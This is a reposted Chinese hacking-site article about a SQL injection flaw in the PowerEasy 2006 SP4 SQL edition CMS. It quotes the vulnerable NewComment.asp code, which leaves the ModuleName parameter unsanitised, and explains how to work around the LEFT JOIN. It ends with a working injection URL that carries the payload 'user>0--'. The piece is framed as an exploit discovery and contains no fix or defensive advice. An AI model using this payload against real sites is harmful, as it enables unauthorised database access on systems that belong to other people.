放飞你的梦想--翱翔我的天空 | 会员登陆 | 繁體中文 | 站点地图 | 站长博客
 | 网站首页 | 文章中心 | IT 前沿 | 清怡画风 | 视频教程 | 资源下载 | 精彩图库 | 博客文赏 | 天空论坛 | 访客留言 | 音乐版 | 
    本站全新推出IT 前沿频道欢迎大家访问 地址 http://it.tkbbs.com  [风雪残士  2005年12月9日]            本站推出新浪VIVI收藏夹服务,欢迎使用  [风雪残士  2005年10月18日]        
您现在的位置: 翱翔翼站 >> 文章中心 >> 网络世界 >> 黑客攻防 >> 文章正文 今天是:
动易2006 SP4 SQL版注入新发现 【字体:
作 者:佚名 文章来源:网络 更新:2006-10-26 21:22:34 点击:







文章作者:NetPatch & Trace
信息来源:邪恶八进制信息安全团队



动易2006 SP4 SQL版注入新发现..

by NetPatch & Trace
www.icehack.com
www.nspcn.org

晚上正无聊着瞎摆弄着,好友Trace突然发个消息过来,说让我看个动易的NewComment.asp文件。说是听说这个文件出了个注入漏洞,让我好好瞧瞧。反正也没事做,就瞒看了。

认真一看,还真是发现了漏洞所在。我们长话短说,直接进入话题。
首先我们来看看主要的几个参数过滤情况
ModuleName = Trim(request("ModuleName"))
//只过滤两边空格---也是漏洞所在首要原因
ChannelID = PE_CLng(Trim(request("ChannelID")))
ClassID = PE_CLng(Trim(request("ClassID")))
Num = PE_CLng(Trim(request("Num")))
//其他三个都过滤的比较严格。

真搞不懂,为什么就ModuleName没过滤?难道是动易故意放水?

好,闲话少说,现在我们再看看问题所在的SQL语句

============================================================================================================================
If ModuleName <> "" Then
//假如ModuleName值不为空
  If ChannelID <> 0 Then
  //假如ChannelID值不为0
    If ClassID <> 0 Then
    //假如ClassID值不为0
        sqlComment = "Select top " & Num & " C.* from PE_Comment C left join PE_" & ModuleName & " A on C.InfoID=A." & ModuleName & "ID where A.ChannelID= " & ChannelID & " and A.ClassID= " & ClassID & " and C.Passed =" & PE_True '获取指定模块中指定频道指定栏目的前Num条评论

//没经过任何过滤,直接执行了
    Else
        sqlComment = "Select top " & Num & " C.* from PE_Comment C left join PE_" & ModuleName & " A on C.InfoID=A." & ModuleName & "ID where A.ChannelID= " & ChannelID & " and C.Passed =" & PE_True '获取指定模块中指定频道的前Num条评论
    End If
  Else
    sqlComment = "Select top " & Num & " * From PE_Comment where ModuleType= " & ModuleId & " and Passed =" & PE_True '获取指定模块中的前Num条评论
  End If
Else
  sqlComment = "Select top " & Num & " * from PE_Comment where Passed =" & PE_True '获取所有模块中的前Num条评论
End If
============================================================================================================================

/////////////////////////////////////////
Select top " & Num & " C.* from PE_Comment C left join PE_" & ModuleName & " A on C.InfoID=A." & ModuleName & "ID where A.ChannelID= " & ChannelID & " and A.ClassID= " & ClassID & " and C.Passed =" & PE_True
//////////////////////////////////////////
以上语句为漏洞存在语句
发现此语句里也没对ModuleName进行过滤。HOHO,这不就常说的注入漏洞么!
但是,请不要高兴的太早。因为这句SQL语句里有个小弯,如果没转过去,那可是要撞墙的哦。
认真看下语句,你会发现,该语句使用了left join(外连接),如果直接构造NewComment.asp?num=1&ChannelID=1&&ClassID=1&ModuleName=soft and user>0--这样的URL是不可以成功的!为什么呢,其原因所在就是这个外连接语句!
如果你把你构造的参数值和你想执行的SQL语句代到原SQL语句中的话,你会发现语句错了,错了的语句当然是没办法执行下去的了。
/////////////////////////////////////////
Select top 1 C.* from PE_Comment C left join PE_soft A on C.InfoID=A.soft and user>0--(后面的被注释了,就没必要代参数进去了)ID where A.ChannelID= " & ChannelID & " and A.ClassID= " & ClassID & " and C.Passed =" & PE_True
//////////////////////////////////////////
以上是代入SQL语句中的示范。
======================================================================================
Select top 1 C.* from PE_Comment C left join PE_soft A on C.InfoID=A.soft and user>0--
======================================================================================
这样的语句,试问,如何让他执行成功呢?

聪明的你肯定想到答案了吧。呵呵
没错,既然这样的语句不能成功执行,那么我们就构造一个可以让他执行的语句!

/////////////////////////////////////////
Select top 1 C.* from PE_Comment C left join PE_soft A on C.InfoID=A.soft A on C.InfoID=A.softID where A.ChannelID=1 and user>0--
//////////////////////////////////////////
再看看上面这段语句,是不是变的通顺了呢?
好,我们现在还原到URL上
============================================================================================================================
NewComment.asp?num=1&ChannelID=1&ClassID=1&modulename=soft A on C.InfoID=A.softID where A.ChannelID=1 and user>0--
============================================================================================================================
哈。。是不是成功了???
YES,看来只要肯下工夫,漏洞始终是会浮出水面的!
这里感谢Trace,不是他,就没有这篇文章.


文章录入:风雪残士    责任编辑:风雪残士 
  • 上一篇文章:

  • 下一篇文章: 没有了
  • 发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    相关文章
    没有相关文章
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
    最新文章 TOP10
    最新热门 TOP10
    最新推荐TOP10
    翱翔翼站拥有本站所有版权! Copyright © 2005 - 2008 5-IT.COM
    本站维护 :风雪残士

    浙ICP备05039908号
    努力打造国内最全的电脑技术资料库